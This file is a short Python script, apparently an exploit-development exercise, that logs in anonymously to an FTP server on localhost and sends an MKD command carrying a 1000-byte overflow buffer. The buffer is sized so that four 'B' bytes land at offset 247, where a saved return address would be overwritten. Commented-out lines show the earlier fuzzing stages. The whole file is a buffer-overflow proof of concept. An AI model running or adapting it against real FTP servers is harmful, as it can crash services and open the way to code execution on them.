#!/usr/bin/python
 
import socket
import sys


evil = "A"*247 + "B"*4+ "C"* (1000-247-4)

#evil = "A"*247 + "B"*(1000-247)

#evil = "A"*1000
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('127.0.0.1',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close